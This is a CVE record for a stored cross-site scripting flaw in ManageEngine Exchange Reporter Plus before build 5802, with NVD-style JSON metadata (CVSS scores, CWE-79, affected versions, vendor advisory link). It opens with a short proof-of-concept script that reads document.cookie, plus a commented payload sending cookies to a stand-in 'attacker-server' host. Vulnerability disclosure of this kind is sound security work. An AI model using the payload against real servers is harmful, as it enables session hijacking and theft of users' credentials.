CVE-2026-3879

<!-- PoC for Stored XSS in Equipment Mailbox Details Vulnerable Product: Zohocorp ManageEngine Exchange Reporter Plus < Build 5802 --> <script> // Simple PoC to demonstrate execution via alert alert('CVE-2026-3879 XSS Executed: ' + document.cookie); // Advanced payload could include: // var img = new Image(); // img.src = "http://attacker-server/?c=" + document.cookie; </script> <!-- Injection Point: Equipment Mailbox Details report fields. -->

{"cve": {"id": "CVE-2026-3879", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T12:16:18.743", "lastModified": "2026-04-03T18:49:50.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Equipment Mailbox Details report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-3879.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}